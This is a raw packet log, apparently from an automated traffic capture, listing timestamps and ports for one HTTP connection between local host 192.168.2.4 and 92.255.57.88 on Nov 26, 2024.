Nov 26, 2024 00:07:43.780020952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.780745983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.780797958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.780855894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.780920982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.781591892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.781642914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.781682014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.781729937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.867805958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.867949963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.868031979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.868077993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.868263960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.868323088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.868351936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.868398905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.869105101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.869163036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.869200945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.869247913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.869971037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.870022058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.950084925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.950110912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.950145960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.950186014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.950259924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.950299025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.950383902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.950427055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.951045036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.951088905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.951215982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.951261997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.951852083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.951900005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.951988935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.952039957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.952640057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.952714920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.952753067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.952792883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.953457117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.953500986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.953617096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.953664064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.954253912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.954301119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.954468966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.954520941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.955059052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.955106020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.955126047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.955166101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.955858946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.955909014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.955964088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.956012011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.956682920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.956734896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.956844091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.956890106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.957494020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.957537889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.957602978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.957648039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.958266020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.958311081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.958373070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.958417892 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.959088087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.959135056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.959197044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.959240913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.959882975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.959930897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.959992886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.960038900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.960701942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.960757017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.960802078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.960849047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.961544037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.961591005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.961839914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.961886883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.962325096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.962369919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.962431908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.962477922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.963140011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.963187933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.963254929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.963300943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.963934898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.963984013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.964051962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.964097023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.964751959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.964799881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.964848042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.964889050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.965549946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.965653896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.965670109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.965699911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.966351986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.966401100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.966464996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.966511965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.967161894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.967220068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.967257023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.967302084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.967956066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.968009949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.968063116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.968111038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.968787909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.968833923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.968843937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.968873024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.969588995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.969649076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.969683886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.969724894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.970417023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.970469952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.970504045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.970539093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.971190929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.971256971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.971291065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.971338987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.972004890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.972052097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.972174883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.972223043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.972821951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.972871065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.972934961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.972979069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.973624945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.973671913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.973743916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.973788977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.974419117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.974467993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.974502087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.974550962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.975228071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.975275040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.975321054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.975368023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.976042986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.976087093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.976092100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.976123095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.976844072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.976891041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.976937056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.976979017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.977642059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.977708101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.977744102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.977783918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.978458881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.978498936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.978509903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.978557110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.979279995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.979334116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.979398012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.979444027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.980093002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.980139971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.980139971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.980174065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.980926991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.980973005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.981002092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.981050014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.981735945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.981827021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.981847048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.981889963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.982512951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.982556105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.982650042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.982692957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.983282089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.983329058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.983407974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.983450890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.984100103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.984143972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.984208107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.984249115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.984909058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.984958887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.985018969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.985061884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.985703945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.985754967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.985837936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.985878944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.986525059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.986577988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.986629963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.986675024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.987324953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.987409115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.987437010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.987513065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.988143921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.988185883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.988194942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.988236904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.988959074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.988972902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.989000082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.989017963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.078331947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.078435898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.078536034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.078536987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.078701019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.078758001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.078816891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.078866005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.079492092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.079544067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.079577923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.079618931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.080343008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.080391884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.160476923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.160588980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.160641909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.160682917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.160784006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.160856962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.160887957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.160931110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.161601067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.161667109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.161691904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.161710024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.162395000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.162447929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.162507057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.162555933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.163167953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.163219929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.163265944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.163311005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.163979053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.164031982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.164099932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.164148092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.164819956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.164876938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.164925098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.164974928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.165594101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.165644884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.165678024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.165724993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.166415930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.166465044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.166529894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.166585922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.167203903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.167253971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.167309999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.167354107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.168010950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.168076038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.168107986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.168152094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.168814898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.168862104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.168914080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.168960094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.169625044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.169676065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.169806004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.169852018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.170483112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.170532942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.170547009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.170586109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.171230078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.171281099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.171359062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.171403885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.172046900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.172091007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.172187090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.172233105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.172849894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.172895908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.172970057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.173012018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.173685074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.173753023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.173830986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.173877954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.174467087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.174504995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.174516916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.174540043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.175276995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.175328970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.175385952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.175432920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.176059961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.176107883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.176173925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.176218987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.176873922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.176920891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.177001953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.177051067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.177685022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.177732944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.177798986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.177848101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.178530931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.178577900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.178745031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.178796053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.179322958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.179380894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.179380894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.179419041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.180128098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.180176020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.180229902 CET	80	49753	92.255.57.88	192.168.2.4
